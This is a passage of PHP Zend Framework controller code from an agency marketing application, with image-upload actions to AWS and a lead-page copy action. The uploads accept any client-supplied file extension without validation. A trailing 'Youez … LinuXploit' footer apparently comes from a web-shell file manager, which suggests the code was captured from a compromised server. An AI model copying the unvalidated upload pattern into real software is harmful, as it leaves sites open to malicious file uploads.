//            if (move_uploaded_file($temp_file_name, $orignalFolderName . "/" . $fileName)) {
                //                if (isset($existfiles) && $existfiles != '') {
                //                    $mImg = explode('gtxlp', $existfiles);
                //                    @unlink('gtxlp' . $mImg[1]);
                //                }
            if ($toupload['status'] == true) {
                $fileArray = array('status' => 'success', 'fileName' => $DetailImg);
            }
        }

        echo json_encode($fileArray);
        exit;
    }

    public function uploadExperienceIconImageAction()
    {
        //        $filename = $_FILES['file']['name'];
        $orignalFIleName = $_FILES["file1"]["name"];
        $existfiles = $this->getRequest()->getParam('existfiles');




        if (!empty($orignalFIleName)) {
            //$orignalFolderName = $_SERVER["DOCUMENT_ROOT"] . "/gtxlp/upload/experience";
            $fileExt = $this->_helper->General->getFileExtension($orignalFIleName);
            $fileName = 'experience__' . time() . '.' . $fileExt;
            $image_path = 'img/'.$this->intLoggedinUserAgencySysId.'/marketing/gtxlp/experience';
            $DetailImg = IMAGE_PATH_URL_AWS . $image_path . '/' . $fileName;
            $data = array(
                'AgencySysId' =>  $this->intLoggedinUserAgencySysId,
                'image_path' =>  $image_path,
                'tags' =>  'marketing,gtxlp,experience',
                'title' =>  $fileName,
                'FILES' =>  $_FILES["file1"],
                'fileName' =>  $fileName,
            );
            $toupload = Zend_Controller_Action_HelperBroker::getStaticHelper('FileUpload')->uploadToAWS($data);
//            if (!file_exists($orignalFolderName)) {
//                @mkdir($orignalFolderName, 0777, true);
//            }
//            $temp_file_name = $_FILES["file1"]["tmp_name"]; // temprary file name
//            if (move_uploaded_file($temp_file_name, $orignalFolderName . "/" . $fileName)) {
                //                if (isset($existfiles) && $existfiles != '') {
                //                    $mImg = explode('gtxlp', $existfiles);
                //                    @unlink('gtxlp' . $mImg[1]);
                //                }
            if ($toupload['status'] == true) {
                $fileArray = array('status' => 'success', 'fileName' => $DetailImg);
            }
        }

        echo json_encode($fileArray);
        exit;
    }

    public function copyGtxleadPageAction()
    {
        $this->view->layout()->disableLayout();
        $this->_helper->viewRenderer->setNoRender(true);
        $this->view->baseUrl = $this->baseUrl;
        $agencySysId = $this->intLoggedinUserAgencySysId;
        $this->marketingMdl = new Marketing_Model_Marketing();
        $GtxLeadSysId = (int) $this->getRequest()->getParam("GtxLeadSysId");
        if ($GtxLeadSysId) {
            try {
                $leadPageData = $this->marketingMdl->getAllGTXLeadPageDataIsDisplayById($agencySysId, $GtxLeadSysId);
                unset($leadPageData['GtxLeadSysId']);
                unset($leadPageData['LeadSource']);

                $NewGtxLeadSysId = $this->marketingMdl->insertTable("TB_Agency_GTX_Lead_Page", $leadPageData);
                if ($NewGtxLeadSysId) {
                    $result_message = ['status' => true, 'message' => 'Copy lead page successfully.'];
                    echo Zend_Json::encode($result_message);
                    exit;
                } else {
                    $result_message = ['status' => false, 'message' => 'Oops something wrong!!'];
                    echo Zend_Json::encode($result_message);
                    exit;
                }
            } catch (Exception $ex) {
                $ex->getMessage();
            }
        } else {
            $result_message = ['status' => false, 'message' => 'Oops something wrong!!'];
            echo Zend_Json::encode($result_message);
            exit;
        }
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit